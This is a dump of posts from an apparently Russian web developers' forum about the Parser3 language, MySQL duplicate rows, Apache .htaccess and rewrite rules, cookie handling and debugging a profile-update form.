"20183","Это первое, что бросилось в глаза. На большее внимания не хватило. А сам я для этих целей пользую xml-документ в котором хранится структура сайта. Тока вот не знаю насколько это правильно. Если это окажеться настолько неправильно, что перестанет работать, тогда перепишу класс tree который отвечает за построение дерев."
"20184","Не могу использовать ^use[], говорит $MAIN:CLASS_PATH not specified. У меня Денвер с Парсером 3.07. Можно ли куда прописать этот $MAIN:CLASS_PATH, чтобы ^use[] работал? Причем не только на относительных ошибку выдает, но и на абсолютных!"
"20186","и всё-таки умеет p3 делать\
вот это:\
Использование Parser в качестве обработчика сообщений по электронной почте\
\
Настройте вашу почтовую систему таким образом, чтобы при приходе сообщения на определенный адрес или адреса, запускался некоторый скрипт на Parser (см. Использование Parser в качестве интерпретатора скриптов), задав в командной строке интерпретатора ключ -m\
\
и вот это:\
\
Использование Parser в качестве интерпретатора скриптов \
\
/путь/к/parser3 файл_со_скриптом \
x:\\путь\\к\\parser3 файл_со_скриптом \
\
Выполнять скрипты можно и без веб-сервера, достаточно запустить интерпретатор Parser, передав ему в командной строке параметр - имя скрипта. При этом корнем веб-пространства считается текущий каталог."
"20187","http://www.GfK.ru/ - сайт пока ещё не до конца наполнен материалами, но уже в production mode.\
\
Для Миши в \"powered by P.\":\
\
[quote]\"GfK.ru - сайт российского представительства немецкой исследовательской компании GfK Gruppe. Эта корпорация занимается маркетинговыми и социально-политическими исследованиями с 1925 года в пятидесяти двух странах мира.\"[/quote]\
\
Хостинг - зенон, контент хранится в БД, CMS - собственного изготовления, которую я активно комментирую в исходниках, чтобы потом дать общественности её пощупать/попробовать.\
\
Очень буду обязан присутствующим, если мне на mailto:Sanja@gfk.ru бросят скриншоты сайта, сделанные на Macintosh и в браузере Opera."
"20188","Модератор, а столько ошибок! Жуть!"
"20189","Сорри, но нету у нас Мака, а опрный только завтра могу"
"20190","а в чем, собственно, прикол?"
"20191","Кто-нибудь знает, как убивать строки-клоны(совершенно одинаковые) в MySql?"
"20192","в онлайн доках написано чёрным по белому что p3 умеет\
\
и почту принимать\
http://www.parser.ru/docs/lang/parsermailreceive.htm\
\
и скрипты с командной строки парсить (Выполнять скрипты можно и без веб-сервера, достаточно запустить интерпретатор Parser, передав ему в командной строке параметр - имя скрипта.)\
http://www.parser.ru/docs/lang/parserscript.htm\
\
На деле когда запускаешь интерпретатор Parser, передав ему в командной строке параметр - имя скрипта.\
\
Получаем следующее:\
/usr/local/parser3.cgi: invalid option 'm'\
Parser/3.1.0 Copyright(c) 2001-2003 ArtLebedev Group (http://www.artlebedev.com)\
Author: Alexandr Petrosian <paf@design.ru> (http://paf.design.ru)\
\
Usage: /usr/local/parser3.cgi [options] file\
Options are:\
    -f config_file  Use this config file (/path/to/auto.p)\
    -h              Display usage information (this message)\
\
Меня интересует только один вопрос может p3\
http://www.parser.ru/docs/lang/parsermailreceive.htm\
и\
http://www.parser.ru/docs/lang/parserscript.htm"
"20193","In SELECT query add DISTINCT e.g.\
\
mysql_query(\"SELECT DISTINCT name FROM table\";)\
\
this should select all names without dublicates"
"20195","Я поставил Parser по инструкциям в разделе \"Скачать\" для Linux Redhat  - сервер выдает ошибку : \"The requested URL /cgi-bin/parser3.cgi/_test.html was not found on this server\"\
\
какой файл мне нужно править и как?\
.htaccess - без \"CharsetDisable On\""
"20198","Новости в Опере скроллирует коряво, вроде читал у Круглова что это не лечится. И полосы этой снизу нема. А так вроде нормально всё..."
"20199","Миша об этом писал и довольно подробно."
"20200","ИМХО, несколько удобнее его чуть подкрутить под себя, чем 80 мегов той же фактически функциональности иметь. Опять же добавление хостов автоматом удобно (хотя и не сильно нужно) etc."
"20201","Чёй-то я не соображу про \"строки-клоны\". Для того, чтобы \"клонов\" не было в параметрах колонки DB Table нужно выбрать - \"UNIQUE\" тогда повторы записей будут исключены.\
\
А удалить можно, думаю, поменяв слегка одну из \"records\" и запустить \"DELETE * FROM tablename WHERE colname = 'YOUR ANNOYING STRING'\". При таком раскладе все ROWs с клонами за искл. отредактированной ROW, включая смежные колонки таблицы, будут удалены. Теперь можно вернуться к прежнему варианту записи и позаботиться о \"UNIQUENESS\" of your records.\
\
Вполне возможно - проблема тут в чем-то другом, да вот только без деталей не понять чего нужно-то"
"20202","http://www.regular-expressions.info"
"20203","\"Переданный URL /cgi-bin/parser3.cgi/_test.html не найден на сервере\" - Значит путь до интерпретатора ложный указали."
"20204","/cgi-bin/parser3.cgi/_test.html\
Почему _test.html находистся в /cgi-bin/ а не гденибудь в /?\
parser3.cgi здесь что файл или каталог?\
Где собственно находится parser3.cgi\
Где находится .htaccess и что в нём написано\
Вы уверены что всё сделано по инструкции?\
Права на parser3.cgi проверяли?\
\
а вообще was not found on this server значит что-то типа ненайден на этом сервере (с английским я недружу но помоему это так)"
"20205","O.K.\
\
Отвечаю: - \
\
_test.html находится в корне \"/\" сайта\
там же \"cgi-bin\" с \"parser3.cgi\"\
\
priv - менял по-всякому\
.htaccess написан в \"BBEdit\" и FTP-ed как текст\
\
В том-то и пузырь - все, типа, на месте, а ERROR такой вот дурной.\
\
Спасибо за заботу :-)\
\
P.S. Ах, да, еще штука - сервер Британский, хотя это по идее влиять ни как не должно"
"20206","Если появилась эта ошибка, значит .htaccess пашет, только Apache не может отыскать parser3.cgi. Причины могут быть две: либо путь указан не верно в .htaccess или файла parser3.cgi вообще нет."
"20207","Сервер - \"Linux\", я пытался даже прописывать полный путь \"/home/user/www/cgi-bin/Parser3.cgi\" в \".htaccess\" - не помогает..."
"20208","Ну если пути правильные значит файла parser3.cgi в каталоге /cgi-bin/ нет, а если есть значит проблема с путями :). А лучше приведите текст из файла .htaccess и путь до каталога /cgi-bin/ (скопируйте, прям из FTP клиента)."
"20210",".htaccess  --\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files> \
\
#CharsetDisable On \
\
---------------\
в корневом каталоге сайта - /\
\
/_test.html\
/inhex.html\
/.htaccess\
/cgi-bin/\
/cgi-bin/parser3.cgi\
/cgi-bin/auto.p\
/cgi-bin/charsets/\
/cgi-bin/lib/\
\
FTP path: ftp.webspace.co.uk/www/ - this is my www root"
"20211","Попробуйте вторую строчку заменить на \
\
Action parsed-html cgi-bin/parser3.cgi"
"20212","А ew пригодился?"
"20213","Появляются по поричине отсутствия Primary key (первичного ключа) Работать без PK это преступление, за это надо на месте расстреливать.\
\
Мысль одна - удаление делать через сравнение по всем столбцам, не знаю насколько она верная."
"20215","Ысе точнее рассказать. Дело вот в чем:\
Досталась мне база данных со списком песен. Умные, или не очень, люди добавили в базу весь список полтора раза. тоесть строкине совсем клоны. айди у них разные, а вот все остальное одинаково."
"20216","[code]^void:sql{UPDATE users\
			 SET name='$name', f_name='$f_name', o_name='$o_name', day_r='$day_r', tel_1='$tel_1', tel_2='$tel_2', tel_3='$tel_3', e_mail='$e_mail', work_status='$work_status'\
		   WHERE id=$user_id}[/code]\
\
[i]Заранее благодарю за  любую помощь[/i]"
"20217","Делаешь выборку из базы, отсортированную по всем полям, кроме ID. Пишешь цикл:\
\
[code]Если (все поля след. строки \
== все поля текущей строки){\
   Удалить текущую строку\
   Перейти к следующей строке\
}{\
   Перейти к следующей строке\
}[/code]\
\
Если записи в строках не идентичны, а похожи (ну, чуть-чуть различается написание и т.п., есть опечатки), зачитываешь базу в SPSS и делаешь по ней кластерный анализ (K-means clustering, sqaured Euclidean distances).  Дубликаты должны попасть в одни и те же кластеры, их cluster membership записывается в новый столбец таблицы. По этому значению ты и будешь грохать \"лишних\"."
"20218","Проверил. То, что работало с матчем в 3,1, почему-то  вообще не пашет в 3,8 (странно). Да, конечно, матч в цикле из 9000 повторов, нумеро 3,1 выпадает где-то между 1500 и 3100. Делает файл gc.log и глохнет. Но в 3,8 совсем не пашет...."
"20220","возможно он не находит запись с id=$user_id и соответственно ничего не обновляет. ошибки здесь тоже нет. проверь на пустоту $user_id"
"20221","Создай таблицу без PK и в нее селекть все, кроме id. Тогда IGNORE снесет дубли, а потом можно будет очистить исходную таблицу и в нее уже добавляй тем же INSERT ... SELECT с автопроставлением id."
"20222","Какой нафиг кластерный анализ :) тут с земными бы вещами разобраться."
"20226","вот эта строка\
^if(^months.locate[num;^dt.1.int[]]){"
"20228","... он ведь добавляет запись, а UPDATE сработает только в случае если id=$user_id. Значит в базе нет записи с таким идентификатором. Можно делать проверку:\
[code]\
$isRecord(^int:sql{\
	SELECT COUNT(i_id)\
	FROM t_myTable\
	WHERE i_id=^id.int(0)\
}[$.default{0}])\
[/code]\
И дальше соответственно использовать:\
[code]\
^if($isRecord){\
	^void:sql{\
		UPDATE ...\
	}\
}{\
	...\
}\
[/code]"
"20230","Решил написать кучу редиректов со старых адресов, а они не работают. Подскажите, где ошибки?\
\
[code]RewriteEngine on\
\
# Rewrites http://www.gfk.ru/old_stuff/ --> /new_stuff/:\
\
RewriteRule ^/ru/marketing/conference/archive/([0-9]+)\\.html$ http://forum.gfk.ru/forum/message_$1.html?setdesign=new&comefrom=oldforum [G,L]\
RewriteRule ^/ru/marketing/conference/conference\\.html$ http://forum.gfk.ru/forum/?setdesign=new&comefrom=oldforum [G,L]\
RewriteRule ^/ru/marketing/conference/index\\.html$ http://forum.gfk.ru/forum/?setdesign=new&comefrom=oldforum [G,L]\
RewriteRule ^/ru/marketing/conference/messages/([0-9]+)\\.html$ http://forum.gfk.ru/forum/message_$1.html?setdesign=new&comefrom=oldforum [G,L]\
RewriteRule ^/ru/marketing/con(.*) http://forum.gfk.ru/forum/?setdesign=new&comefrom=oldforum [G,L]\
\
RewriteRule ^/de/ /en/ [G,R,L]\
RewriteRule ^/ru/search/index\\.html /search/ [G,R,L]\
RewriteRule ^/news_r\\.htm /news/ [G,R,L]\
RewriteRule ^/ru/konfa/ /news/ [G,R,L]\
RewriteRule ^/ru/konfa/11\\.html /news/ [G,R,L]\
RewriteRule ^/ru/konfa/4\\.html /news/ [G,R,L]\
RewriteRule ^/ru/marketing/conjoint\\.html /mr/ [G,R,L]\
RewriteRule ^/ru/marketing/focus\\.html /mr/ [G,R,L]\
RewriteRule ^/ru/marketing/gloss\\.html /mr/ [G,R,L]\
RewriteRule ^/ru/marketing/index\\.html /mr/ [G,R,L]\
RewriteRule ^/ru/marketing/library\\.html /mr/ [G,R,L]\
RewriteRule ^/ru/marketing/method\\.html /mr/ [G,R,L]\
RewriteRule ^/ru/marketing/price\\.html /mr/ [G,R,L]\
RewriteRule ^/ru/marketing/segment\\.html /mr/ [G,R,L]\
RewriteRule ^/en/sitemap\\.html /en/sitemap/ [G,R,L]\
RewriteRule ^/en/company/group\\.html /en/about/worldwide/ [G,R,L]\
RewriteRule ^/en/company/vacancy\\.html /en/about/vacancies/ [G,R,L]\
RewriteRule ^/en/company/tools/tools\\.html /en/about/tools/ [G,R,L]\
RewriteRule ^/en/company/department\\.html /en/about/structure/ [G,R,L]\
RewriteRule ^/en/company/desk16\\.html /en/about/structure/ [G,R,L]\
RewriteRule ^/en/company/desk17\\.html /en/about/structure/ [G,R,L]\
RewriteRule ^/en/company/desk18\\.html /en/about/structure/ [G,R,L]\
RewriteRule ^/en/company/desk19\\.html /en/about/structure/ [G,R,L]\
RewriteRule ^/en/company/desk20\\.html /en/about/structure/ [G,R,L]\
RewriteRule ^/en/company/desk21\\.html /en/about/structure/ [G,R,L]\
RewriteRule ^/en/company/GeoIr_eng\\.doc /en/about/structure/ [G,R,L]\
RewriteRule ^/en/company/greeting\\.html /en/about/foreword/ [G,R,L]\
RewriteRule ^/en/company/about\\.html /en/about/ [G,R,L]\
RewriteRule ^/en/company/p6\\.html /en/about/ [G,R,L]\
RewriteRule ^/en/index\\.html /en/ [G,R,L]\
RewriteRule ^/en/investigations\\.html /en/ [G,R,L]\
RewriteRule ^/en/market\\.html /en/ [G,R,L]\
RewriteRule ^/en/marketing/index\\.html /en/ [G,R,L]\
RewriteRule ^/en/search/search\\.html /en/ [G,R,L]\
RewriteRule ^/index_e\\.html /en/ [G,R,L]\
RewriteRule ^/ru/company/group\\.html /about/worldwide/ [G,R,L]\
RewriteRule ^/ru/company/tools/ats\\.html /about/tools/ats/ [G,R,L]\
RewriteRule ^/ru/company/tools/optimizer\\.html /about/tools/ [G,R,L]\
RewriteRule ^/ru/company/tools/pharma03\\.html /about/tools/ [G,R,L]\
RewriteRule ^/ru/company/tools/price\\.html /about/tools/ [G,R,L]\
RewriteRule ^/ru/company/tools/target\\.html /about/tools/ [G,R,L]\
RewriteRule ^/ru/company/vacancy\\.html /about/tools/ [G,R,L]\
RewriteRule ^/ru/company/nonfood\\.html /about/structure/nonfood/ [G,R,L]\
RewriteRule ^/ru/company/media\\.html /about/structure/media/ [G,R,L]\
RewriteRule ^/ru/vciom/index\\.html /about/structure/media/ [G,R,L]\
RewriteRule ^/ru/company/p1\\.html /about/structure/healthcare/ [G,R,L]\
RewriteRule ^/ru/company/p2\\.html /about/structure/healthcare/ [G,R,L]\
RewriteRule ^/ru/company/p4\\.html /about/structure/healthcare/ [G,R,L]\
RewriteRule ^/ru/company/p6\\.html /about/structure/healthcare/ [G,R,L]\
RewriteRule ^/ru/company/p7\\.html /about/structure/healthcare/ [G,R,L]\
RewriteRule ^/ru/company/pharma\\.html /about/structure/healthcare/ [G,R,L]\
RewriteRule ^/ru/company/field\\.html /about/structure/field/ [G,R,L]\
RewriteRule ^/ru/company/consumer01\\.html /about/structure/consumertracking/ [G,R,L]\
RewriteRule ^/ru/company/consumer02\\.html /about/structure/consumertracking/ [G,R,L]\
RewriteRule ^/ru/company/consumer03\\.html /about/structure/consumertracking/ [G,R,L]\
RewriteRule ^/ru/company/fmcg\\.html /about/structure/adhoc/fmcg/ [G,R,L]\
RewriteRule ^/ru/company/fmcg01\\.html /about/structure/adhoc/fmcg/ [G,R,L]\
RewriteRule ^/ru/company/b2b\\.html /about/structure/adhoc/b2b/ [G,R,L]\
RewriteRule ^/ru/company/adhok\\.html /about/structure/adhoc/ [G,R,L]\
RewriteRule ^/ru/company/desk12\\.html /about/structure/ [G,R,L]\
RewriteRule ^/ru/company/desk14\\.html /about/structure/ [G,R,L]\
RewriteRule ^/ru/company/desk15\\.html /about/structure/ [G,R,L]\
RewriteRule ^/ru/company/desk16\\.html /about/structure/ [G,R,L]\
RewriteRule ^/ru/company/desk18\\.html /about/structure/ [G,R,L]\
RewriteRule ^/ru/company/desk20\\.html /about/structure/ [G,R,L]\
RewriteRule ^/ru/company/desk21\\.html /about/structure/ [G,R,L]\
RewriteRule ^/ru/company/desk7\\.html /about/structure/ [G,R,L]\
RewriteRule ^/ru/company/greeting\\.html /about/foreword/ [G,R,L]\
RewriteRule ^/index\\.html / [G,R,L]\
RewriteRule ^/present/MRtarget\\.doc / [G,R,L]\
RewriteRule ^/ru/index\\.html / [G,R,L]\
RewriteRule ^/ru/investigations\\.html / [G,R,L]\
RewriteRule ^/1\\.swf /404/ [G,R,L]\
RewriteRule ^/img/1p\\.gif /404/ [G,R,L]\
RewriteRule ^/img/bgd3\\.jpg /404/ [G,R,L]\
RewriteRule ^/img/blank_dot\\.gif /404/ [G,R,L]\
RewriteRule ^/img/bracket_bottom\\.jpg /404/ [G,R,L]\
RewriteRule ^/img/bracket_bottom2\\.jpg /404/ [G,R,L]\
RewriteRule ^/img/bracket_left\\.jpg /404/ [G,R,L]\
RewriteRule ^/img/bracket_right\\.jpg /404/ [G,R,L]\
RewriteRule ^/img/front_ser\\.jpg /404/ [G,R,L]\
RewriteRule ^/img/logo\\.gif /404/ [G,R,L]\
RewriteRule ^/library/default\\.css /404/ [G,R,L]\
RewriteRule ^/ru/konfa/6_1\\.jpg /404/ [G,R,L]\
RewriteRule ^/ru/konfa/6_2\\.jpg /404/ [G,R,L]\
RewriteRule ^/ru/konfa/6_3\\.jpg /404/ [G,R,L]\
RewriteRule ^/ru/konfa/cd_med_wte-1\\.gif /404/ [G,R,L]\
RewriteRule ^/ru/marketing/doc/cee_review\\.pdf /404/ [G,R,L]\
\
# This disables URI rewriting for non-HTML files:\
RewriteRule (gif|jpg|js|css|exe|zip|rar|pdf|doc|xls|ppt|swf|ipx|txt|xslt|xsl|tif|eps|tiff|ico|ent|chm|cfm|gz)$ - [L]\
\
# ...and for /admin/ section: \
\
RewriteRule ^/admin/ [L]\
\
# Special rules for news:\
RewriteCond %{REQUEST_URI} ^/news/press_.+/$\
RewriteRule ^(.+)/press_([0-9]+)/$	 $1/press/?id=$2 [PT,QSA]\
RewriteCond %{REQUEST_URI} ^/news/pr_.+/$\
RewriteRule ^(.+)/pr_([0-9]+)/$	 $1/pr/?id=$2 [PT,QSA]\
RewriteCond %{REQUEST_URI} ^/en/news/press_.+/$\
RewriteRule ^(.+)/press_([0-9]+)/$	 $1/press/?id=$2 [PT,QSA]\
RewriteCond %{REQUEST_URI} ^/en/news/pr_.+/$\
RewriteRule ^(.+)/pr_([0-9]+)/$	 $1/pr/?id=$2 [PT,QSA]\
\
# All requests to unexisting pages will be forwarded to a single \
# 'main' page transparently - if the user will ask for\
# /en/about/company/index.html the request will be transformed\
# to index.html?uri=/en/about/company/index.html (invisibly for\
# the site visitor) \
\
# The following tells RewriteEngine what to do with 'virtual' requests:\
RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteCond	%{REQUEST_FILENAME}	!-d\
RewriteRule	^(.*)$        /index.html?type=via_rewrite&uri=/$1 [L,QSA]\
\
# This disables Russian Apache (if running):\
\
<IfModule mod_charset.c>\
CharsetDisable On\
</IfModule>\
\
# /404/ will process all unsuccessful page requests (Error 404 etc):\
\
ErrorDocument 300 /404/?e=300\
ErrorDocument 400 /404/?e=400\
ErrorDocument 401 /404/?e=401\
ErrorDocument 402 /404/?e=402\
ErrorDocument 403 /404/?e=403\
ErrorDocument 404 /404/?e=404\
ErrorDocument 405 /404/?e=405\
ErrorDocument 406 /404/?e=406\
ErrorDocument 408 /404/?e=408\
ErrorDocument 413 /404/?e=413\
ErrorDocument 414 /404/?e=414\
ErrorDocument 500 /404/?e=500\
ErrorDocument 505 /404/?e=505\
\
\
# EOF[/code]"
"20232","Такой id существует только по тому что этот id берётся из этой же таблици.\
\
Алгоритм\
\
Ввод login, password\
поиск в table users пользователя с такими данными выввод его id в переменную users_id (проверено значение этой переменной существует и соответствует действительности)\
Проверяем Анкетные данные на заполненность\
Если анкетные данные отсутствуют, настаиваем на заполнении анкеты\
\
После заполнения анкеты обновляем данные о пользователе c id = $user_id (т.к. учётные данные(login, password, id) уже есть)\
\
\
ps: код не привожу т.к. он достаточно большой и неочень читабельный несмотря на коментарии"
"20233","users_id существует и в моём случае =2\
я проверил это действительно для этого кода\
\
[code]@post_info_user[user_id]\
#открываем соединение с БД\
^dbconnect{\
\
#Достаём данные для установок по умолчанию\
$users_tmp[^table::sql{SELECT name, f_name, o_name, day_r, tel_1, tel_2, tel_3, e_mail, work_status, body\
						FROM users, users_body\
						WHERE users.id = users_body.id AND users.id = $user_id}]\
\
#Проверяем данные из формы на существование\
#если данные в форме отсутствуют подставляем\
#уже существующие значения в таблице\
$name[^if(def $form.name){$form.name}{$users_tmp.name}]\
$f_name[^if(def $form.f_name){$form.f_name}{$users_tmp.f_name}]\
$o_name[^if(def $form.o_name){$form.o_name}{$users_tmp.o_name}]\
$day_r[^if(def $form.year && def $form.month && $form.day){^if($form.year<10){0$form.year}{$form.year}-^if($form.month<10){0$form.month}{$form.month}-^if($form.day<10){0$form.day}{$form.day}$form.day}{$users_tmp.day_r}]\
$tel_1[^if(def $form.tel_1){$form.tel_1}{$users_tmp.tel_1}]\
$tel_2[^if(def $form.tel_2){$form.tel_2}{$users_tmp.tel_2}]\
$tel_3[^if(def $form.tel_3){$form.tel_3}{$users_tmp.tel_3}]\
$e_mail[^if(def $form.e_mail){$form.e_mail}{$users_tmp.e_mail}]\
$work_status[^if(def $form.work_status){$form.work_status}{$users_tmp.work_status}]\
$body[^if(def $form.body){$form.body}{$users_tmp.body}]\
\
#Обновляем данные в таблице users\
^void:sql{UPDATE users\
			 SET name='$name', f_name='$f_name', o_name='$o_name', day_r='$day_r', tel_1='$tel_1', tel_2='$tel_2', tel_3='$tel_3', e_mail='$e_mail', work_status='$work_status'\
		   WHERE id = $user_id}\
\
#Проверяем в таблице users_body наличие записи для пользователя с id=$user_id\
$test_body[^int:sql{SELECT id FROM users_body WHERE id = '$user_id'}[$.default{0} $.limit(1)]]\
\
#В зависимости от су ществования записи в таблице users_body\
#записи для текущего пользователя создаём или обновляем значения\
^if($test_body==0){\
^void:sql{INSERT INTO users_body (id, body)\
						   VALUES('$user_id', '$body')}\
		}{\
^void:sql{UPDATE users_body\
			 SET body='$body'\
		   WHERE id = $user_id}\
		}\
}\
[/code]"
"20235","По моему можно нужное место кода воткнуть между\
^taint[as-is][\
...\
]"
"20237","... вроде всё верно, по крайней мере, с первого взгляда ничего не углядел. А не может быть путаницы с фыйлами? У меня самые страшные и непонятные ошибки возникали когда выполнялся один код, а правил я другой."
"20238","... я отслеживаю такие ошибки через заведомо неправильный SQL код и отключая все обработчики. Например: INSERT_ i_id INTO t_user"
"20239","Если в ставлять переменные в код, то они выводятся в HTML, ктому же часть кода с INSERT работает."
"20240","попробуй ${user_id} вот так ограничить и вообще - переменные лучше пиши так."
"20241","куки удаляется очень просто, нужно указать время её хранения датой которая уже прошла\
[code]\
$cookie:login_name[ \
   $.value[guest] \
   $.expires(-1) \
]\
#или\
$date[^date::create(2000;01;01)] \
$cookie:login_name[ \
   $.value[guest] \
   $.expires[$date]\
]\
\
[/code]"
"20242","- кеш запросов? зачем он на локальной машине в процессе отладки?\
\
- многотабличные DELETE/UPDATE? хм, не уверен, что это настолько нужно...\
\
- прямой полнотекстовый поиск? мне пока не требовался...\
\
- UNION? да, это пожалуй мне нужно. хотя [b]мне[/b] редко приходится работать с такими БД, где без этого плохо. в основном на WEB приходится работать с достаточно простыми БД.\
\
- FORCE INDEX? мне как-то USE/IGNORE INDEX хватает... хотя и те использую [b]очень[/b] редко.\
\
- вложенные подзапросы? egr про них сказал... хотя штука хорошая, однако писать хорошие вложенные запросы пожалуй посложнее, чем создать правильные индексы ;) а многие хорошо используют индексы? ;)\
\
- транзакции? (не бло упомянуто) это пожалуй полезно... но насколько это полезно для WEB-а, где большинство операция - read?"
"20243","Может пора решить что в MySQL в Денвере баг?"
"20244","... посмотри ещё как твой запрос выполняется НЕ Парсером а клиентом мускульным каким-нить..."
"20246","вместо\
[code]^void:sql{UPDATE users ... }[/code]\
временно подставить\
[code]\
$wtf[^string:sql{UPDATE users ... }]\
$wtf\
[/code]\
\
скорее всего это работать не будет, но если сработает, можно будет подсмотреть что возвращает база..."
"20247","А то может они у тебе в контексте класса вызываются, а переменные \"глобальные\" или наоборот. Поставь при вызове метода что-нибудь вроде ^post_info_user[$MAIN:user_id]. Если $user_id у тебя внутри класса задаётся, то проверь определена ли она в инициализационном методе как $self.user_id."
"20248","Только суть от этого не меняется. Таким образом Вы НЕ УДАЛЯЕТЕ куку, а передаете это дело браузеру, который ее ДОЛЖЕН удалить. Но жизнь показывает, что никто никому не должен."
"20249","Происхождение $user_id\
\
@session[]\
$user_id[\
#вычисляется\
]\
^page[$user_id]\
\
@page[user_id]\
^left_body[$user_id]\
\
@left_body[user_id]\
...\
..\
."
"20250","Попробуй перед вызовом ^post_info_user[] сохранить user_id в файл и посмотри что там окажется."
"20251","[code]produced no result, but no default option specified[/code]\
наверное так и должно быть..."
"20253","Помогите пож., а то на яблочной версии Unix совсем не понятно чего и куда прописывать"
"20254","Цель: помечать сообщения в форуме, добавленные после последнего посещения, как новые\
\
Главный вопрос: каков механизм записи/чтения кук с датой последнего посещения форума?\
\
Регистрация/Авторизация в форуме отсутствует, в виду наличия Регистрации/Авторизации участников.\
\
Есть там у всяких форумов типа phpBB[:-p] статистика, типа сколько сейчас гостей, а сколько зарегистированных пользователей в форуме. Думаю, механизм работы там тот, что мне и нужен, но какой он?\
\
Подскажите, пожалуйста, кто в курсе. Заранее благодарен."
"20255","Раньше не приходилось влазить в JS :(\
Есть радио-батон: открыт, закрыт. Привыборе закрыт как мне показать поле для ввода \"когда откроется\"?\
Я понял что надо плясать от onClick, но как вывести еще одну форму?"
"20256","в Firebird куки хранятся вместе со значениями, доменами, датами, разделами в tab-delimited файле, который можно изменить. Правда, значения хранятся в зашифрованном виде, но могут быть просмотрены с помощью cookie manager того же firebird.\
\
Причем, если, к примеру, Опера не выдаст на domain.ru куку, записанную на domain.net, то фаерберд с радостью, при условии изменения файла с куками."
"20258","Мне вот тоже было интересно, да и сейчас....\
\
Походу лучше всего смотреть все по дате. В куки кидаешь последний приход человека. Т.е. как бы его уход.\
И когда он приходит снова - проверяем дату в куках с датами последних сообщений. Ну и от этого скакать.\
+ Смотря что ты хочешь. Мне надо было, чтобы показ новых сообщений держался минут 20. Тогда в куках 2 даты типа date1___date2. Я еще сделал так, что при клике на \"новые\" - выводятся именно новые собщения для человека. Как на borda.ru. Но думается это грузит скрипт. Откажусь.\
\
Может есть вариант и лучше. Фиг их знает)))))"
"20259","Мне вот тоже было интересно, да и сейчас....\
\
Походу лучше всего смотреть все по дате. В куки кидаешь последний приход человека. Т.е. как бы его уход.\
И когда он приходит снова - проверяем дату в куках с датами последних сообщений. Ну и от этого скакать.\
+ Смотря что ты хочешь. Мне надо было, чтобы показ новых сообщений держался минут 20. Тогда в куках 2 даты типа date1___date2. Я еще сделал так, что при клике на \"новые\" - выводятся именно новые собщения для человека. Как на borda.ru. Но думается это грузит скрипт. Откажусь.\
\
Может есть вариант и лучше. Фиг их знает)))))"
"20260","С SQL завпром всё OK\
\
Глюк где-то здесь\
[code]\
$name[^if(def $form.name){$form.name}{$users_tmp.name}]\
$f_name[^if(def $form.f_name){$form.f_name}{$users_tmp.f_name}]\
$o_name[^if(def $form.o_name){$form.o_name}{$users_tmp.o_name}]\
$day_r[^if(def $form.year && def $form.month && $form.day){^if($form.year<10){0$form.year}{$form.year}-^if($form.month<10){0$form.month}{$form.month}-^if($form.day<10){0$form.day}{$form.day}$form.day}{$users_tmp.day_r}]\
$tel_1[^if(def $form.tel_1){$form.tel_1}{$users_tmp.tel_1}]\
$tel_2[^if(def $form.tel_2){$form.tel_2}{$users_tmp.tel_2}]\
$tel_3[^if(def $form.tel_3){$form.tel_3}{$users_tmp.tel_3}]\
$e_mail[^if(def $form.e_mail){$form.e_mail}{$users_tmp.e_mail}]\
$work_status[^if(def $form.work_status){$form.work_status}{$users_tmp.work_status}]\
$body[^if(def $form.body){$form.body}{$users_tmp.body}]\
[/code]\
\
Хотя и здесь ошибки тоже нет - я так думаю, значит ошибка в форме.\
\
Здесь значения из формы не приходят.\
\
Огромное спасибо всем кто помог мне :)"
"20261","Код формы\
\
[code]\
<form method=\"post\">\
<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\">\
<tr>\
	<td align=\"right\">Имя:</td>\
	<td><input name=\"name\"></td>\
</tr>\
<tr>\
	<td align=\"right\">Фамилия:</td>\
	<td><input name=\"f_name\"></td>\
</tr>\
<tr>\
	<td align=\"right\">Отчество:</td>\
	<td><input name=\"o_name\"></td>\
</tr>\
<tr>\
	<td colspan=\"2\"><br /><br /><br />Дата рождения</td>\
</tr>\
<tr>\
	<td align=\"right\">год:</td>\
	<td>19<select name=\"year\" size=1>\
		^for[year](0;99){ \
		^if($year<10){<option>0$year}{<option>$year}}\
	  </select></td>\
</tr>\
<tr>\
	<td align=\"right\">месяц:</td>\
	<td><select name=\"month\" size=1>\
		<option> \
		<option>Январь\
		<option>Февраль\
		<option>Март\
		<option>Апрель\
		<option>Май\
		<option>Июнь\
		<option>Июль\
		<option>Август\
		<option>Сентябрь\
		<option>Октябрь\
		<option>Ноябрь\
		<option>Декабрь\
	  </select></td>\
</tr>\
<tr>\
	<td align=\"right\">день:</td>\
	<td><select name=\"day\" size=1>\
		<option> \
		^for[day](1;31){ \
		<option>$day}\
	  </select></td>\
</tr>\
<tr>\
	<td colspan=\"2\"><br /><br /><br />Контактная информация</td>\
</tr>\
<tr>\
	<td align=\"right\">тел. 1:</td>\
	<td><input name=\"tel1\"></td>\
</tr>\
<tr>\
	<td align=\"right\">тел. 2:</td>\
	<td><input name=\"tel2\"></td>\
</tr>\
<tr>\
	<td align=\"right\">тел. 3:</td>\
	<td><input name=\"tel3\"></td>\
</tr>\
<tr>\
	<td align=\"right\">e-mail:</td>\
	<td><input name=\"e_mail\"></td>\
</tr>\
<tr>\
	<td align=\"right\">Должность:</td>\
	<td><input name=\"work_status\"></td>\
</tr>\
<tr>\
	<td colspan=\"2\"><br /><br /><br />Примечания, адрес проживания, прочая не уместившаяся информация:</td>\
</tr>\
<tr>\
	<td colspan=\"2\"><textarea cols=\"70\" name=\"body\" rows=\"13\"></textarea></td>\
</tr>\
</table>\
<input type=\"submit\" value=\"Добавить\" name=\"posted\">&nbsp;&nbsp;&nbsp; <input type=\"reset\" value=\"Очистить Форму\">\
</form>\
[/code]\
\
\
\
Код забирающий инфу из формы\
\
[code]\
@main[]\
^mediator[]\
\
@mediator[]\
^session[]\
\
@session[]\
$user_id[\
#вычисляется\
]\
^page[$user_id]\
\
@page[user_id]\
^left_body[$user_id]\
\
@left_body[user_id]\
...\
..\
.\
[/code]\
 в 6 - 7 шагов (уровней)"
"20263","Как мне думается легче писать в кук при каждом заходе на страницу со списком сообщений, а удобней для пользователя писать в БД.\
\
Я обычно пользуюсь несколькими компьютерами на работе + одним дома ... и куки от этого не спасают."
"20267","[code]@mysql2date[mysql;full;with_time][d;dt;tm]\
###########################################################\
# ^mysql2date[2002-06-29 13:35:00] возвращает строку 29.06.2002\
# ^mysql2date[2002-06-29 13:35:00;yes] возвращает строку 29 июня 2002\
